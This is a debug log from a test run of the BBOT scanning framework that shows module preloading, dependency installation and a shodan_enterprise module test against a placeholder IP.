Preloading ipneighbor from cache -2026-02-27 18:09:42,869 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:09:42,870 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:09:42,870 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:09:42,871 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:09:42,872 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:09:42,873 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:09:42,873 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:09:42,874 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:09:42,874 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:09:42,875 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:09:42,875 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:09:42,876 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:09:42,877 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:09:42,877 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:09:42,878 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:09:42,878 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:09:42,879 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:09:42,880 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:09:42,881 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:09:42,882 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:09:42,882 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:09:42,883 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:09:42,884 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:09:42,885 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:09:42,886 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:09:42,886 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:09:42,887 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:09:42,888 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:09:42,889 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:09:42,890 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:09:42,890 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:09:42,891 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:09:42,892 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:09:42,892 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:09:42,893 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:09:42,894 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:09:42,894 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:09:42,895 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:09:42,896 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:09:42,896 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:09:42,897 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:09:42,898 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:09:42,898 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:09:42,899 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:09:42,900 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:09:42,901 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:09:42,904 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:09:42,904 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:09:42,905 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:09:42,906 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:09:42,907 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:09:42,908 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:09:42,909 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:09:42,910 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:09:42,910 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:09:42,911 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:09:42,911 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:09:42,912 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:09:43,984 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:09:43,984 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:09:43,985 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:09:44,120 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:09:44,687 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:09:44,688 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:09:44,688 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:09:44,688 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:09:44,892 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:09:44,894 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:09:45,003 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:09:45,003 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:09:45,057 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:09:45,067 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:09:45,067 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:09:46,148 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:09:46,149 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:11:06,332 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:11:06,333 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:11:06,333 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:11:08,331 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:11:08,332 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:11:08,337 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:08,338 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:11:08,338 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:08,338 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:11:08,339 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:08,339 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:11:08,340 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:11:08,340 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:11:08,344 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ndll42uhbapkvubuoe8w -2026-02-27 18:11:09,601 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:11:09,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:11:09,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:09,603 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:11:09,604 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:11:09,734 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:11:09,734 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:11:09,734 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:11:09,739 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:11:09,740 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:11:09,740 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:11:09,741 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:11:09,742 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:11:09,742 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:11:09,743 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:11:09,743 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:11:09,744 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:11:09,744 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:11:09,744 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:11:09,744 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:11:09,744 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:11:09,744 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:11:09,745 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:11:09,745 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:11:09,745 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:11:09,746 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:11:09,747 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:11:09,748 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:11:09,748 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:11:09,749 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:11:09,749 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:11:09,750 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:11:09,750 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:11:09,750 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:11:09,750 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:11:09,888 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_u7lpb05scx -2026-02-27 18:11:09,889 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:11:09,997 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:11:09,997 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:11:09,998 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:11:09,999 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-02-27 18:11:10,101 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:11:10,102 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:10,103 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:10,104 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check -2026-02-27 18:11:10,104 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-02-27 18:11:10,105 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:11:10,106 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:10,107 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 18:11:10,108 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:11:10,109 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:10,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 18:11:10,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 18:11:10,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 18:11:10,111 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:10,112 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:11:10,118 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 18:11:10,118 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 18:11:10,119 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 18:11:10,119 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 18:11:10,120 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 18:11:10,200 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:11:10,201 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:6cb56378c7bdb1e73b952229ba3bb3f216c964c4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:11:10,202 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 18:11:10,202 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 18:11:10,203 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:11:10,203 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:11:10,204 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:11:10,204 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:11:10,205 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:11:10,205 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:11:10,306 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:11:10,306 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:11:10,323 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:11:10,325 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:11:10,326 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:11:10,335 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:11:10,335 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:11:10,336 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:11:10,337 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:11:10,338 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:11:10,339 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:11:10,465 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_u7lpb05scx completed in 0 seconds with status FINISHED -2026-02-27 18:11:10,465 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:11:10,466 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:11:10,467 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:11:10,468 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:11:25,868 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:11:25,878 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:11:25,879 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:11:25,880 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:11:25,881 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:11:25,882 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:11:25,883 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:11:25,884 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:11:25,885 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:11:25,886 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:11:25,887 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:11:25,887 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:11:25,888 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:11:25,889 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:11:25,890 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:11:25,891 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:11:25,892 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:11:25,893 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:11:25,894 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:11:25,895 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:11:25,896 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:11:25,897 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:11:25,898 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:11:25,899 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:11:25,899 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:11:25,901 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:11:25,901 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:11:25,903 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:11:25,903 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:11:25,904 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:11:25,904 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:11:25,905 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:11:25,906 [DEBUG] bbot.module_loader modules.py:152 